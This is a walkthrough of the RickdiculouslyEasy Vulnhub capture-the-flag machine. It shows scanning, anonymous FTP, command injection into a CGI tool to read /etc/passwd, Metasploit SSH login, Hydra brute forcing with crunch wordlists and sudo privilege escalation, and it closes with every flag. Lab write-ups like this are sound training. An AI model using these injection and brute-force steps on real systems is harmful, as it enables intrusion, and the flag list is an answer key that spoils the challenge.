RickdiculouslyEasy Vulnhub Walkthrough

Introduction ????????

In this post, Let’s see how to CTF the rickdiculouslyeasy box from vulnhub, Below is the video format of the post, Check it out ????????

We should get 130 points by collecting different flags, let’s see how much you get comment down below ????

To download the box click here

Video ????

Hacking Phases ????????

  • Finding Targets IP
  • Network scanning (Nmap)
  • Surfing HTTP service port 
  • Directory Enumeration
  • Connect to ftp
  • Command Injection
  • SSH login using Metasploit
  • Bruteforce login using Hydra
  • Using Netcat to get the reverse shell
  • Checking SUID binaries
  • Accessing root directory
  • Capture the flag


Let’s start

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Finding Target IP

To find the target IP just enter the below command, Also you can go with the net discover.

sudo arp-scan -l 

Nmap Scan

Let’s do a full port scan and OS and Service scan

nmap -p- -A

The scan result showed open Ports; we found our first flag returned as a banner for the service running on port 13337, moreover, anonymous FTP login was allowed on port 21 holding another flag.txt file.


From the nmap scan we know that FTP is open, So thought of login in and see what results do we get.


We logged in with the username Anonymous and the password as blank.

get FLAG.txt

Dir Enumeration

We know that the port 80 is using the http service and I opened the site, But nothing interesting was found, So I though of doing directory enumeration ????


Let’s view the /passwords directory

while fuzzing through wfuzz I have found the passwords.html inside the passwords, While viewing the page source I have found winter as hidden string.

Viewing robots.txt

Only the /cgi-bin/tracertool.cgi is seeming to be useful, Inside the box by entering ; more /etc/passwd gives the response.

; more /etc/passwd

We can see a user called Summer, So let’s try to brute force using the credential we have got before.


I thought of exploiting the system using metasploit and entering through the port 22222 where the ssh runs.

use auxiliary/scanner/ssh/ssh_login 
set rhosts
set rport 22222 
set username Summer 
set password winter 
sessions -u 1 
sessions 2 
cat FLAG.txt

Post Enumeration

Further enumeration on morty directory

cd /home 
cd Morty 
download Safe_password.jpg 
download journal.txt.zip 

Running strings against Safe_Password.jpg

strings Safe_Password.jpg 

Unziping the text file we have downloaded

unzip journal.txt.zip 
cat journal.txt

Let’s enumerate the RickSanchez directory.

cd RickSanchez 
download safe 

Now, Let’s elevate the privilege of safe file we have downloaded.

chmod 777 safe 
./safe 131333

By executing the file you will get the flag.

FLAG{AND Awwwaaaaayyyy we Go!} - 20 Points

As the next password contains 1 uppercase character, 1 digit followed by one of the words in the name of the old band of Rick Sanchez.

So, I had to do some web surfing to find out the band’s name, it was called ‘the flesh curtains ‘.

Next, we used crunch to create two different format dictionaries and saved both of them in dict.txt.

crunch 10 10 -t ,%Curtains -O >> dict.txt 
crunch 7 7 -t ,%Flesh -O >> dict.txt

Let’s try to brute force on ssh

hydra -l RickSanchez -P dict.txt ssh  -s  22222 

Privilege Escalation

For privilege escalation lets use the above credentials to login via ssh

ssh RickSanchez@ -p 22222 
sudo -l 
sudo su 
cat FLAG.txt 
more FLAG.txt

While doing nc against the target site we get another flag.

nc 60000 
cat FLAG.txt

Viewing the port 9090 we can get another flag.


Great box, Learnt a lot of stuff and I have mentioned the flag down, Check if you got correct.

FLAG{Whoa this is unexpected} - 10 Points
FLAG{Yeah d- just don't do it.} - 10 Points
FLAG{Get off the high road Summer!} - 10 Points
FLAG: {131333} - 20 Points
FLAG{AND Awwwaaaaayyyy we Go!} - 20 Points
FLAG: {Ionic Defibrillator} - 30 points
FLAG{Flip the pickle Morty!} - 10 Points
FLAG {There is no Zeus, in your face!} - 10 Points

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